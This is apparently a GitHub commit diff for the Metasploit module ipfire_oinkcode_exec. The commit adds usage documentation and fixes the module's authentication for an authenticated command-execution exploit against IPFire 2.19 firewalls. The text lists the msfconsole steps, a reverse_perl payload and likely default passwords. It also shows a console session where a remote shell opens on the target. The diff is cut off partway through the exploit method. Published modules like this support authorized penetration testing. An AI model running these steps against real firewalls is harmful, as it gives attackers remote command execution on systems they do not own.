File tree Expand file tree Collapse file tree 2 files changed +56
-3
lines changed
documentation/modules/exploit/linux/http
modules/exploits/linux/http Expand file tree Collapse file tree 2 files changed +56
-3
lines changed Original file line number Diff line number Diff line change
1
+ ## Vulnerable Application
2
+
3
+ Official Source: [ ipfire] ( http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso )
4
+
5
+ This module has been verified against:
6
+
7
+ 1 . 2.19 core 100
8
+ 2 . 2.19 core 110 (exploit-db, not metasploit module)
9
+
10
+ ## Verification Steps
11
+
12
+ 1 . Install the firewall
13
+ 2 . Start msfconsole
14
+ 3 . Do: ``` use exploit/linux/http/ipfire_oinkcode_exec ```
15
+ 4 . Do: ``` set password admin ``` or whatever it was set to at install
16
+ 5 . Do: ``` set rhost 10.10.10.10 ```
17
+ 6 . Do: ``` set payload cmd/unix/reverse_perl ```
18
+ 7 . Do: ``` set lhost 192.168.2.229 ```
19
+ 8 . Do: ``` exploit ```
20
+ 9 . You should get a shell.
21
+
22
+ ## Options
23
+
24
+ ** PASSWORD**
25
+
26
+ Password is set at install. May be blank, 'admin', or 'ipfire'.
27
+
28
+ ## Scenarios
29
+
30
+ ```
31
+ msf > use exploit/linux/http/ipfire_oinkcode_exec
32
+ msf exploit(ipfire_oinkcode_exec) > set password admin
33
+ password => admin
34
+ msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201
35
+ rhost => 192.168.2.201
36
+ msf exploit(ipfire_oinkcode_exec) > set verbose true
37
+ verbose => true
38
+ msf exploit(ipfire_oinkcode_exec) > check
39
+ [*] 192.168.2.201:444 The target appears to be vulnerable.
40
+ msf exploit(ipfire_oinkcode_exec) > exploit
41
+
42
+ [*] Started reverse TCP handler on 192.168.2.117:4444
43
+ [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400
44
+ id
45
+ uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
46
+ whoami
47
+ nobody
48
+ ```
Original file line number Diff line number Diff line change @@ -59,9 +59,12 @@ def initialize(info = {})
59
59
60
60
def check
61
61
begin
62
+ # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
63
+ # after a chat with @bcoles in IRC.
62
64
res = send_request_cgi (
63
65
'uri' => '/cgi-bin/pakfire.cgi' ,
64
- 'method' => 'GET'
66
+ 'method' => 'GET' ,
67
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
65
68
)
66
69
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
67
70
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
@@ -79,16 +82,18 @@ def check
79
82
80
83
def exploit
81
84
begin
82
-
85
+ # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
86
+ # after a chat with @bcoles in IRC.
83
87
res = send_request_cgi (
84
88
'uri' => '/cgi-bin/ids.cgi' ,
85
89
'method' => 'POST' ,
86
90
'ctype' => 'application/x-www-form-urlencoded' ,
91
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
87
92
'headers' =>
88
93
{
89
94
'Referer' => "https://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
90
95
} ,
91
- 'data ' => {
96
+ 'vars_post ' => {
92
97
'ENABLE_SNORT_GREEN' => 'on' ,
93
98
'ENABLE_SNORT' => 'on' ,
94
99
'RULES' => 'registered' ,
You can’t perform that action at this time.
0 commit comments